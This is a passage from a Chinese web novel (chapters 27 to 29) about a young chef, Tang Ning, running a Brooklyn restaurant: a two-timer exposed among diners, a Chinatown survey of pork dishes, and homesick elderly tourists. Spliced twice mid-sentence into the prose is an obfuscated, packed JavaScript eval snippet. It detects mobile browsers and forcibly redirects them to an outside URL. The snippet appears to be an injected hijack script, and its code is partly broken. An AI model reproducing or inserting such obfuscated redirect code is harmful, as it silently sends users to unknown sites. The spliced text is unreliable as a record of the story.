梁薇见他一秒切换中文，旁边白人女孩一脸懵然，顿时就气笑了。 “放开，别拿 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真是倒了八辈子血霉。 早知道就不冒险把两人约在同一天了。 分开约，屁事没有。 事到如今，按照梁薇的性格，应该是无可挽回了，凯蒂亚也玩脱了。 算了。 反正纽约这么大，也不止这两个富婆。 他耸了下肩，一脸无所谓，“我没什么好说的。” 梁薇心里那股好不容易熄灭的怒火，瞬间又烧了起来，她猛地站起身，直接给了赵轩一耳光。 “喔喔喔喔。” 周围的顾客发出惊呼，却没有一个人上前阻拦。 他们可都看见了。 这男的脚踏两只船，活该。 紧接着，凯蒂亚也起身，把手里的茶水泼在了赵轩被扇红的脸上。 “没想到你是这样的人，把我给你的信用卡还我。” “还有我借给你的生活费，一共五千刀，立刻马上！”梁薇也道。 众人皆惊。 啧，不光是个渣男，还是个软饭男。 赵轩当众丢脸，弄得一脸狼狈，也不想跟这两个疯女人纠缠，从口袋里掏出一张卡扔在桌上。 “现在没钱，明天转你。” 只能去找那三个塑料姐妹花了。 说完，他就要走。 刚走到门口，迎头撞上三个挎着购物袋说说笑笑走进来的女孩。 最漂亮的金发女孩看见是赵轩，一脸惊喜： “哈尼，你怎么在这？不是说今天要去踢球吗？” “哈尼？”左边女孩拧起眉头。 “踢球？”右边女孩重点在后半句，“宝贝你不是去参加科技展了吗？” “等等，你为什么叫他哈尼？” “你又为什么叫他宝贝，还知道他去科技展？” “他在追我啊。” “你在说什么，他追的人是我。” “得了吧，明明是我！” 本以为一场闹剧已然落幕的顾客：？？？ 还有这么劲爆的后续？！ 餐厅里的顾客们看赵轩的眼神变了又变。 赵轩：…… 艸。 27. 红烧肉、糖醋排骨、酱肘子 赵轩脚踩五只船，一朝翻了个底朝天，差点把自己淹死在唾沫星里，最终不得不抱头鼠窜，消失在深夜的巷口。 在食记热心顾客的传播下，赵轩的大名在留子圈“软”名远扬。 不仅如此，除梁薇以外的四个白人女孩，也都将这件事在自己的圈子广而告之，顺便还贴上了照片。 他再想吃软饭，除非改名换姓、外加整容了。 可谓是彻底的社会性死亡。 至于他以后还会不会来光顾食记，唐宁都不甚在意。 成年人就该为自己的行为负责，食记倒也不缺这么一位客人。 忙碌的夜晚就这么在一场嗤之以鼻的抓马中度过。 文思瑶住在学校公寓，恰好跟凯耶一家的住所会路过公寓，吃过宵夜凯耶一家顺道送文思瑶回家，唐宁照常提前被苏珊接回了家。 临睡前，唐宁将酸菜羊肉锅子和宵夜做的浇汁豆腐上传到自己的账号。 立马就有人评论了。 人类是我的兼职：【这、是、什、么？！为什么我今天没在餐厅里看到？！】 兔兔酱酱：【酸菜羊肉？看起巴适得很，老子口水哗哗流！】 四喜：【矜持一点，不要一副没见过世面的样子，食记软饭男的八卦还没给你喂饱？卧槽，浇汁豆腐？！菜单上为啥没有！！】 好天气：【@食秘书，五分钟后我要让它们出现在我的餐桌上。】 唐宁被他们的话逗笑，在人类是我的兼职和四喜的评论下回复： 【不好意思，这是员工餐。】 人类是我的兼职：【啊啊啊啊昨天还在留子群看见食记招人，早知道我就去应聘了，好恨啊！】 好天气：【呜呜呜羡慕瑶瑶。】 崽拉想吃饭：【谁懂我在突尼斯每天香料羊肉吃到吐，看到这酸菜羊肉锅子不停嘴角流泪？】 Momo：【哈哈哈哈哈反正我吃不到，你们也被想吃到哈哈哈哈哈哈哈哈哈哈】 May事儿别找我：【……又疯了一个。】 四喜：【出国后再也没见过浇汁豆腐了，好馋啊，食记真不考虑把这个上新菜吗？】 食记回复四喜：【餐厅目前供应不了大批量豆腐，你喜欢的话，等假期可以上架几日。】 四喜回复食记：【好耶！！！】 见好天气得偿所愿，其他人也都开始许愿。 兔兔酱酱：【既然有豆腐，那再考虑一下兔兔呢？比如麻辣兔头？干锅兔丁？】 人类是我的兼职：【既然有兔兔，我猪猪也要有姓名！！每天不是鸡就是牛，要不就是深海大胖鱼，我想吃红烧肉！糖醋排骨！酱肘子！猪肝猪肺猪大肠！】 此言一出，底下一溜烟回复他一张表情包：骚猪警告。 人类是我的兼职：【嘤嘤嘤洒家只是馋猪肉馋疯了，哪怕给我一碗猪油拌面我都感恩戴德。】 May事儿别找我：【你可以去唐人街。】 人类是我的兼职：【万万使不得，那地方进去一次半个月生活费就没了，活脱脱的销金窟。】 见博主久久没回复，大家就当是许愿失败了，也没放在心上，评论区又讨论起唐人街哪家店好吃，哪家店贵，哪家店难吃又不便宜。 唐宁看了一会儿，就放下了手机。 的确。 华人吃猪有上千年历史，由此而创造出的食谱更是千千万，远比牛羊家禽要多上许多。 很早以前，家禽更多用来生蛋，而牛作为农耕的宝贵资产，在诸多朝代都是禁食的，尽管也有不少人私下里偷吃，但因各种条件限制，做法远不及猪肉多种多样。 毕竟靠山吃山珍，靠海吃海味，靠草原吃牛羊。 唯有猪，不拘泥于天南海北，都是餐桌上必不可少的的美味珍馐。 美利坚因动物福利等政策或技术成本的原因，猪作为食材却从不阉割，导致其骚味难以根除，被众多人嫌弃。 这也是唐宁来到这里从没做过猪肉的最重要原因。 她固然明白只要下葱姜黄酒等猛料去腥，猪骚未必不能被覆盖遮掩，可她在宫里待久了，对食材挑剔惯了。 宁缺毋滥。 不过既然市场有需求，她就必须要想办法。 挑了个没课的上午，唐宁准备坐地铁去唐人街一趟，她想去打探一下其他中餐厅是如何解决这个问题的。 这是唐宁第二次坐地铁。 第一次是半途转乘救护车去医院那次。 回忆不堪回首。 她默默感叹一句，背着书包走进地铁站。 正准备进站的时候，身后传来一声“小心！”，唐宁下意识往旁边一闪，一个身形痩长的黑人小哥擦身而过，坐着一块滑板滑进了闸机口下方的空隙里，而后站起身，用脚勾起滑板，朝她龇了一下大白牙，得意洋洋的走了。 唐宁：？ 等等，他是不是逃票了？ 正当她神色懵然时，一个熟悉的身影走到她面前。 “你没事吧？”刘奕不知从哪跑过来，一脸担心地讲唐宁从头到尾打量了个遍。 唐宁回过神来，微笑道：“没事，好巧。” 刘奕见她没事，放下心来，正要说什么，身后的同伴凑了过来，“小姐姐你好啊，你是刘奕的同学吗？我叫张昊，我们正要去唐人街聚餐，要不要一起来啊？” 张昊噼里啪啦一顿输出，刘奕根本来不及给他使眼色。 最近他几乎每天都去食记吃饭，俨然把那当成不能命题做菜的自家厨房了，今天也是因为一个月前就跟张昊和几个同学约好在唐人街聚餐，所以才没去食记。 偏偏这个时候碰上食记的主厨唐宁，莫名有种在外面偷吃被抓包的心虚不自在。 听见他还要邀请唐宁，刘奕脸色骤地一变。 还没来得及表明食记是唯一真神，他只是去别的地方应酬，试图挽回形象，就见唐宁已经对张昊点了点头。 “唐宁，是哈斯顿的新生。” 见对方也是华人，唐宁心生几分亲切，“正巧，我也是去唐人街。” “那太好了，一起去，人多热闹。”张昊怼了下刘奕的胳膊，还邀功请赏似的挑了下眉，“你说是吧？刘奕学长。” 刘奕：…… 挑你爹的眉。 脑子被闸机口夹了？ …… 到了唐人街的一家餐馆，除了张昊和刘奕，还有一男一女，看起来跟他们年纪相仿，应该是同一届的同学。 刘奕主动介绍唐宁跟其他人认识，唐宁是来找食材的，无可避免地要说出自己的身份，免得她万一做出什么非食客的举动，让大家觉得奇怪。 这么一介绍，刘奕的三个同学不免惊讶了一瞬。 “原来你就是食记的中国厨师啊？没想到居然这么年轻。” “我去，老刘你不厚道，瞒了我一路。” 刘奕斜他一眼：“你一路 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这些都是浓油赤酱的做法，在美利坚既能给留子解馋，也最不容易让人吃出骚腥味。 至于其他蒜泥白肉、清汤肉丸之类的清淡做法，显然无缘名列菜单。 似乎是在唐宁点菜时，刘奕暗地里警告了同伴们，接下来的氛围再也没有古怪过，反而因为得知唐宁是食记的主厨，大家都热络了几分。 唐宁也知他们没有恶意，并没有放在心上。 气氛和谐，几个人又聊了一会儿，不到半小时，菜就一一上来了。 唐宁看着眼前切得方方正正的红烧肉块，不禁被它赤红的色泽迷惑了，拿起筷子夹起一块肉，放在碟子里，用筷子轻压，肉质软弹，酥而不烂，烧汁浓稠，糖色均匀，看得出火候功夫不差。 私人聚餐倒是没什么规矩，大家都随性而为。 张昊不客气地也加了块红烧肉，一口塞进嘴里，“这一口我真是等一个月了，好吃好吃！” 平时在学校除了偶尔的猪排，确实也吃不到什么猪肉。 迫不及待地把筷子伸向了各色猪肉。 “真的嘿，龙记的品控是真稳定，上次来吃是什么味儿，这次还是什么味儿。” “总算解了馋了。” 见其他人都吃得一脸享受，唐宁也顺势浅尝一口。 嗯。 甜腻大于咸鲜。 隐约能吃出姜的辛味，黄酒的涩味，可见为了压制猪的骚腥用料极重。 即便如此…… 她不动声色地看了眼其他人，见他们依旧吃得头也不抬，似乎是并未察觉，顿时心下了然。 怕是只有舌头极灵敏的人，才能吃出这肉质本身难以祛除的骚味。 在大部分人面前，它仍是一道相对合格的菜品。 唐宁放下筷子，漱了下口，再尝糖醋排骨。 依旧甜腻大于酸。 醋酸在黏稠的黄糖里几乎没什么存在感，甜味极重，吃多了有些发腻，而其他桌上的白人，却对这些甜的发齁的东西十分喜爱。 想来不光是为了压制骚味，也是为了迎合当地人的口味做了调整。 至于酱肘子。 唐宁连皮带肉夹了一筷子，放进嘴里，还没嚼就吐了出来。 什么东西？ 纽约的八角桂皮香叶肉蔻草果良姜白芷茴香大酱不要钱吗？ 28. 卤肉卷 “你好，9号桌买单。” 唐宁借着去洗手间的功夫，偷偷把单买了。 买完单，正准备跟刘奕他们打声招呼，提前回食记抡大勺，一转头，看见一位戴着小红帽一张华人面孔的老爷爷，站在保温桶旁边，恋恋不舍地看了眼手里的半块锅盔，然后一口锅盔一口热水吃了进去，吃完还不忘把手里的渣渣舔干净。 唐宁：？ 上次看到这幅场景，还是儿时灾年跟爹娘一起去城外施粥，看见流民喝粥吃饼的样子。 唐宁略微有些错愕，转头看向收银台的服务生，想开口问什么，却见她眼观鼻鼻观心，似乎没瞧见。 此时，老爷爷也没有察觉唐宁诧异的目光，他吃完从家里带出来的最后半块锅盔，收起塑料袋，用保温杯接了杯热水，慢悠悠回到了餐桌上。 唐宁顺势看过去，见那边的三张大圆桌上，全都是看起来大概六十多岁的老年人。 戴着统一的帽子，还有一个年轻男人，手里拿着一个小红旗。 原来是旅行团。 她还以为…… 唐宁不禁为自己一闪而过的念头感到好笑。 算了，不是就好。 她收起钱包，回到座位，跟刘奕和他的朋友们打了声招呼，准备提前离开。 大家知道她要赶回餐厅，喂饱嗷嗷待哺的顾客，也没坚持留她。 刘奕本来还想送她到地铁站，被唐宁拒绝了。 “不必客气，我认得路。”唐宁拿起座椅上的背包，朝大家和善一笑，“周末来食记，餐厅会上几道新菜。” “那必须的！” 唐宁点点头，背起包就走了。 刘奕等她的身影彻底消失在门外，才收回视线，恰好对上张昊揶揄的目光。 “你这什么眼神？别瞎琢磨，我只是觉得她一个女孩儿不安全。” “哟哟哟，我又没说什么，看给你急的，这一顿解释。” 张昊说完，其他两个人也都笑了。 刘奕才反应过来自己确实有点此地无银三百两的嫌疑。 怎么可能？ 他才见过她三面。 不过，一想起那天在食记，唐宁面容平静地单手钳住闹事白男的腕骨，对方还挣脱不了时的样子，他心跳似乎有点不正常。 还没来得及细想，身后传来一阵吵吵嚷嚷的声音。 刘奕和其他顾客都不约而同地看向了那几张大圆桌。 “老张，你怎么能吃独食呢？说好的那半块锅盔也有我一份。” 被质问的张老头老脸一红，嘟嘟囔囔半天，才蹦出一句，“反正我已经吃完了，要锅盔没有，要命一条。” “嘿，你这老命又不顶抱，我要它干嘛？” 徐老头气得吹胡子瞪眼，“我背来的十包榨菜之前你也没少吃，最后一口锅盔你都不留点给我，你这人也忒不地道了。” 俩老头就这么因为一口锅盔吵了起来，其他人都在旁边劝着。 劝完之后，又对着一桌子菜面露苦色。 李老师最惨，女儿给的那张银行卡还在钱包里躺着，足有五万刀，临行前女儿还搂着她的肩，让她在美利坚好好潇洒一回，不够还可以打电话给她。 可来美利坚三天了，愣是没吃上一顿合胃口的。 这哪是潇洒？ 明明是花钱买罪受！ 时代广场热狗车上的面包加肠，居然都卖七刀！ 米其林餐厅那一盘子菜还不够一个人霍霍，钱是花了，饭没吃饱。 贵也就算了，关键是，实在是吃不惯。 今天好不容易让导游找了家中餐馆，可是…… 李老师望着眼前那盘红彤彤的左宗棠鸡，伸手夹了一块，咬了一口，放下筷子。 沉默了好一会儿，她问导游：“你说美利坚管这玩意儿叫中餐？” 蔡文光当导游三年了，此刻也一个头两个大。 这是他第一次带老年团。 二十多个阿姨叔叔，都是一个大学的退休老师，家境富裕，子女孝敬，让他们组团来美利坚旅游，来的时候个个行李箱满满当当，都是自备的干粮，生怕吃不惯。 果不其然，之前在米其林就当场掏了出来。 从煮鸡蛋到烧饼锅盔，从火腿肠到泡面咸菜，让人眼花缭乱。 吓得主厨直接从后厨跑出来，问他们是不是吃得不满意。 就这么在纽约撑了三天，今天硬是要求他找家中餐，改善伙食。 来是来了，大家还是不满意。 李老师旁边的王老师抱着空空如也的咸菜盒子，眼巴巴地看着他，“小蔡啊，咱今天还能吃顿人饭不？” 蔡文光看着满桌子凄哀的眼神，深吸一口气，“能！” “你们先垫吧点，下午去逛两个点，晚上带你们吃大餐去！” 说完，他一屁股坐在椅子上，掏出手机，打开yelp，搜索中餐，跳出来一百多家，放眼望去都是左宗棠鸡，春卷，麻婆豆腐，李鸿章杂碎，再不然就是兰某拉面，沙某小吃和重油重盐重辣的川菜。 救命。 正当他绝望之际，手指突然停住。 食记？ 没听过，好像是新店。 4.9分？ 这高得有点离谱了，不会是买的吧？ 他点进评论，想看看有没有华人同胞的暗号，类似于火星文和谐音字写长评，或是用面条摆出来的难吃。 【藏在布鲁克林的宝藏餐厅，留子们走过路过不要错过。】 【牛腩入口即化不带虚的！好吃得我想喊老板妈妈！】 【千万别被街口电线杆上的球鞋吓到，厨师只是一个平平无奇会拆尼斯功夫的女孩子而已，绝对没有不法交易。】 【哈哈哈我作证，是真的，当时我就在隔壁桌。】 【过时了，最新一集已经更新到软饭男脚踩五只船一连被泼五杯水，差点被淹死。】 这都什么跟什么？ 前面几条还算正常，拆尼斯功夫是什么鬼？ 软饭男又是什么鬼？ 难道还有功夫表演和戏台子？ 蔡文光拧着眉继续往下滑，可算是滑到几条五星差评了。 【千万别来！一点也不好吃！贵，还要排死长的队！】 【就是就是，难吃死了，炒饭是炒饭味儿，牛腩是牛腩味儿，卤味是卤味味儿，凉拌菜也都是凉拌菜的味儿。】 【别闹，算盘珠子都快溅我脸上了。】 蔡文光：？ 不是，这到底是好吃还是不好吃？倒是给句准话啊。 评价里全是一群不正经的留子打哑谜，他索性直接看菜单和图片。 周内只卖炒饭、牛腩面和卤味拼盘，外加三样凉菜，周末才会上限时新菜。 环境倒是挺干净的，但今天是周三，总不能带阿姨叔叔们去吃炒饭和面吧？ 这也太寒酸了。 等等。 这扬州炒饭粒粒分明，隔着屏幕都能感觉到蛋香浓郁，其他炒饭用料也挺扎实，每一张顾客返图都能看见大块的牛肉、海鲜和火腿。 牛腩面分量也足，肉眼就能看见十多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254384|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块麻将大的肉块。 光是看几眼，就已经觉得很诱人了。 如果真有看着这么好吃的话，吃炒饭和面……也不是不行。 为保险起见，他给布鲁克林的同行打了电话，询问这家餐厅的情况，不然这么浩浩汤汤地过去，再给阿姨叔叔们一顿折腾，还吃不满意，他肯定得被投诉，这导游的活儿别想再干了。 几分钟后。 蔡文光挂掉电话，小小的眼睛里放出大大的光芒。 “阿姨叔叔们，成了！” …… 回到食记，牛腩面已经翻了一轮台了，点炒饭的顾客还在嗷嗷待哺，唐宁换上衣服立马开炒。 忙活了一个多小时，她和莉莉随便带了两个卤肉卷就去学校上课，丽萨开车送她们。 文思瑶下午没课，留在店里帮戴维。 唐宁和莉莉走进教室，才想起来，之前教授布置的小组作业还没有完成。 还好小组内的另外两位学霸同学足够给力，把她俩周五交上去的零零散散的资料深化汇总，做出了一份完整的作业。 唐宁看着眼前的女孩，眼神感激，“太谢谢你，梅淼，要是没有你，我可怎么办才好？” 梅淼是小组长，同是华人，但性格特别高冷，也不喜欢混圈子，每天宿舍教室两点一线。 所以才会跟唐宁莉莉还有一个霓虹小伙分在一起。 对于唐宁和莉莉这两个学渣，她从一开始就没寄予希望，只让她们做最简单基础的数据统计，做好交给她就行。 至于另一个霓虹小伙，学商在线且自闭，当成高级隐形AI比较好用。 这不，一下课，人就没影了。 梅淼盯着笔记本上的分析图，没理会唐宁。 唐宁知道她性子冷淡，也没放在心上，把保鲜盒里的卤肉卷分出一个给她，“大恩大德无以为报，小小心意，还望笑纳。” 语气十分谄媚。 梅淼这才撩起眸子看她一眼，正想冰冷拒绝，鼻尖蓦地嗅到一股浓郁的肉香，紧接着以一种十分霸道的势头钻入鼻腔，口水不自觉开始分泌。 好熟悉的味道。 低头一看，中式卤肉卷？ 美利坚怎么会有这种东西卖？ 她抬眸开口：“你自己做的？” “是的。”唐宁怕她忌口，补充道，“放心，没有猪肉，里面夹了一些卤牛肉和牛肚，还有豆皮和黄瓜丝。” “嗯。” 这算是收下了。 唐宁笑了笑，跟莉莉一起离开教室，去上选修课了。 等教室没人后，梅淼看了眼桌上的卤肉卷。 本想拿回宿舍当一顿晚饭，但这肉香总似有若无地往鼻子里飘，她实在集中不了注意力，于是拿起卤肉卷，想着先尝一口，万一凉了就不好吃了呢？ 没想到这一口下去，晚饭没了。 “不是，这也太好吃了吧？”她忍不住叫出声。 后知后觉还在教室，她连忙环顾四周，见没人才松了口气，然而嘴巴里的肉香还在死命攻击她的舌头，无论如何都停不下来。 麦香味十足的卷饼里，牛肉片切得很厚，咬下去还有肉汁，牛肚柔韧，口感极好，就连豆皮都卤得有滋有味，搭配黄瓜解腻，堪称完美。 吃到一半，梅淼赶忙拍了张照片，发给国内的朋友。 【谁懂，也是在美利坚吃上好的了，完全不输以前高中学校门口那家开了十多年的卤肉卷！】 凌晨三点还在刷手机没睡的朋友：…… 大半夜的，你想馋死谁？！ 29. 清炖羊肉萝卜汤 下课回来，唐宁才抽出空，跟大家说了一下上午去唐人街的情况。 “猪肉的来源都差不多，只区别于各个餐馆的厨师怎么处理，看过几家餐馆，都是以浓油赤酱的烹饪方式居多，顾客的接受程度比较高。” 戴维：“那我们也可以这么做？唐的厨艺肯定比其他厨师更好。” 唐宁微微摇头：“烹饪菜肴最基本的原则就是以调味突出食材本味，或是与食材相辅相成，绝不可只吃得出调料味却吃不出菜的本味，这是宫……我以前的做菜原则，所以在处理猪骚味这一点上，未必能比其他厨师功力深厚。” 她自知有些挑剔，但还是坚持：“没事，我再想想办法。” 戴维没什么意见，毕竟光靠目前这些食材，也足够餐厅运营下去，他搞不懂唐为什么要坚持去找阉割过的猪肉。 丽萨和莉莉就更不在意了，反正不管唐宁做什么都好吃。 气温骤降，文思瑶给唐宁倒了杯热柠檬水。 唐宁身上还是单薄的秋衣，中午有太阳倒还好，下午突然感觉冷了起来，手脚都冰冰凉的，此时接过水杯喝了一口，瞬间感觉活过来了。 “这水真好喝，加了柠檬和蜂蜜？” “是的。”文思瑶解释，“下午马丁来的时候送了一袋柠檬，我看有很多，就拿了一颗泡水，蜂蜜也只加了一点点。” “柠檬和蜂蜜的比例真好，不酸也不淡，喝起来很舒服，不比戴维的茶叶差多少，不如晚餐免费茶水上这个吧。” 天气冷了，补充点维c也好。 莉莉一向不喜欢茶叶，她举双手赞成，“好厉害，瑶。” 文思瑶没想到这点小事也能被夸，莫名脸红了一下。 她接过唐宁递回来的杯子，“你们喜欢的话，我还可以试着做果茶，以前我爷爷喜欢喝茶，我奶奶喜欢吃水果，我在家的时候经常用茶和水果搭配起来做饮品。” 丽萨当即挑起了眉毛，“这是个不错的主意，我去中国的时候，见过很多奶茶店，那些都很好喝，如果瑶能做出各种各样的果茶，我们或许还能多一页菜单！” “好主意。” 唐宁没喝过现代的果茶，但也十分赞同。 简简单单的柠檬水都能调配的这么好喝，文思瑶对饮子的制作，堪称是极有天赋。 “食材和茶叶餐厅可以提供，制作出来的果茶可以算分成，具体等定价的时候，我们再跟戴维商量，瑶瑶你觉得可以吗？” 文思瑶突然被惊喜砸中，有一点懵，回过神来重重点头，“没问题！” “明天下午我就把会的配方都各调一杯，你们先试试看。” 通过几天相处，大家也都相互熟悉了，她们知道文思瑶的经济条件不太好，平时省吃俭用的，身上的衣服换来换去也就那几套，干净得发白。 此时见她眼眶红红的，也都装作没发觉，有说有笑的，期待明天会喝到什么好东西。 唐宁：“那就这么决定了，对了，今天是霜降，晚上加道菜。” 凯耶一家不知道什么是霜降，但听到加菜都眼前一亮，“什么菜？” 文思瑶拿起粉笔走到黑板旁边，准备补充新菜单。 “处暑高粱，白露谷，霜降到了拔萝卜。” 唐宁一笑，露出两个浅浅的酒窝，“天气这么冷，当然要吃清炖羊肉萝卜汤暖暖身子啦。” …… 五点整，餐厅准时开门。 一辆大巴车缓缓停在街口，一群戴着小红帽的大妈大爷们陆续从车上下来，看着幽深的窄街和满墙的涂鸦，一抬头，电线杆上密密麻麻的球鞋，面面相觑。 “这地方，能有好吃的？” 张大爷皱着眉，看向拿着小红旗也是一脸忐忑的蔡文光。 蔡文光暗自咬了下舌尖，也没给个准话，摇着小红旗就朝食记明亮的招牌走去，“俗话说得好，光说不练假把式，阿姨叔叔们尝尝就知道了。” 大爷大妈们闻言，顿觉不靠谱。 但还能怎么着？ 还是那句老话：来都来了。 尽管如此，蔡文光还是抢着第一个推开餐厅门，一股热气裹着香气扑面而来。 不是那种西式中餐甜腻腻的味道，而是在国内走进一家好吃的餐馆里，闻到的那种极具诱惑力的饭菜香，以及卤味的肉香！ 至此，蔡文光的心总算放下了一半。 所幸晚餐刚开始营业，而且今日周三，还没那么早放学下班，餐厅里的人并不多。 二十多个老年人鱼贯而入，一下子就坐满了五张桌子。 全部都是中国人，嘴里还不停说着她们熟悉又陌生的语言。 丽萨和莉莉哪见过这阵仗，当即懵了。 还是文思瑶第一个反应过来，“应该是旅游团，丽萨，那个手里拿着小红旗的人应该是导游，他应该会讲英文，你可以去询问他们要点什么，我和莉莉去给他们上茶水。” 说着，文思瑶和莉莉已经动起来了，丽萨立马朝蔡文光走去。 莉莉只学过介绍菜名和简单的中文，突然语言环境朝她汹涌而来，不免有些手足无措。 大妈大爷们见莉莉是外国人，也不知道怎么跟她交流。 文思瑶一边倒水，一边双语解释，店里目前只有炒饭和牛腩面，以及卤味凉菜和羊肉汤，让大妈大爷们先想好吃什么，蔡文光负责统计，丽萨去招待后来的顾客。 几个人分工合作，一番折腾，终于下了订单。 密密麻麻的订单送进厨房的时候，唐宁还愣了一下。 “这是来了多少人？” 丽萨耸耸肩，撂下一句“大概是运气太好，来了一个旅游团”，继续去大厅忙活了。 旅游团？ 唐宁一时好奇，走到出餐口，探头朝外看了一眼。 这不是上午在唐人街看到的那些奶奶爷爷们吗？ 一群上了年纪的老人们，一个个穿着冲锋衣，背着各种各样的双肩包，脸上还有一种令人心酸的神情。 不是累，是饿。 是一种对异国他乡食物绝望后的无力。 唐宁：…… 还真是巧。 她收回目光，瞧了眼灶台上的汤桶。 清炖羊汤经温火慢煨，早已从清水变成了羊脂玉般的润白，咕嘟咕嘟地冒着泡。 羊肉随着气泡轻轻颤动，那肉是选的极好的，肥瘦相间，一层裹着一层，早已炖得酥烂，萝卜是今早才送来的，水头也足，在羊汤里咕嘟久了，吸饱了精华，变得软糯，近乎透明。 寒天冷月的吃上这么一碗，应是十分满足的。 可总觉得缺点什么。 这么想着，唐宁便转身朝冷库走去。 订单已经下来了，见她突然要离开灶台，正抱着一堆碗过来准备打汤的戴维慌忙问道：“唐，你要去哪？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17260080|196118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 唐宁推开冷库的门，“别担心，我马上就回来。” 餐厅外不知不觉下起了小雨，寒雾凝窗，倒映着老人们模糊的疲惫身影。 饭菜还没好，张老头和徐老头不停朝厨房张望。 “老李，你说这次小蔡能靠谱不？” “嗐，这么小一店，我看够呛，还是别抱太大希望了。” 徐老头被张老头这么一说，不禁叹了口气。 早知道就不来什么美利坚见世面了。 活脱脱的花钱找罪受。 逛了一下午，保温杯里的水都喝完了，现下嗓子都快冒烟了。 他看了眼面前的柠檬水，勉为其难地喝了一口，温润的水滑过喉咙，酸后泛起一点蜂蜜微微的甜，喉咙管瞬间就润了起来。 “哟，这小甜水儿不错。” 张老头不信，“你就是渴了，啥水不好喝啊？” 是吗？ 徐老头砸吧了一下嘴，愣是砸吧出品茶的感觉，“不是，你尝尝，总比白开水强。” 张老头嫌弃地拿起杯子，浅尝一口。 嘿。 你别说。 你还真别说。 “喝着倒是一点也不腻口，比国内那些饮料店强多了。” “我说什么来着？”徐老头得意一笑，“没准儿这家店的面条也不错，我说老张头，也有你看走眼的时候。” 张老头哼了一声，抱着柠檬水一口一口喝着。 隔壁桌李老师和王老师见俩老头一直喝柠檬水，忍不住劝道：“少喝点，一会儿还得吃饭，别回头不消化。” 俩老头偏不听，一个劲儿地喝，还让文思瑶给他们续了一杯。 李老师一脸无奈，总归不是自家人，便也不多劝了。 转头见王老师一直盯着人家服务生看，不禁问道：“小王，看什么呢？” 王老师瞥了一眼文思瑶的胸牌，回过头来：“哦，没事，我就看那姑娘有点像我老家五服外的一家远方亲戚，巧了不是，那家女孩儿也叫文思瑶。” “是吗？”李老师看了一眼穿着工作服的文思瑶，见她年纪不大，手脚倒是麻利，“看着像是留学生，要不叫过来，我帮你问问？” 王老师摆手，“不用不用，耽误人干活。要真是她，也挺好的。” 李老师听她口吻感觉不对劲，低声问道：“怎么了？” 王老师叹了口气，摇摇头：“唉，孩子也是可怜，爷爷奶奶前几年过世了，她家里那几个都不是个东西，小小年纪就没人护着了，吃了不少苦头。” 两人正说着，餐就来了。 文思瑶显然也没认出眼前的老人，露出亲和自然的微笑，“清炖羊肉萝卜汤来了，糖蒜是我们主厨免费送的，可以配着羊肉一起吃，炒饭一会儿就好。” 李老师面露惊喜，“谢谢啊，小姑娘。” 文思瑶笑道：“不客气，有需要您再叫我，用餐愉快。” 王老师目送她离开，眼里有些欣慰，李老师拍拍她的肩。 “快吃吧，一会儿凉了。” “哎。” 王老师抹了抹眼角，刚把手放下，余光瞥见方才还对餐厅不抱希望的老哥俩，此刻已经把柠檬水丢到一边，一口羊肉，一口糖蒜，吃得摇头晃脑。 “羊汤配糖蒜，也忒地道了。” “谁说不是呢，就是天王老子来了也不给换。”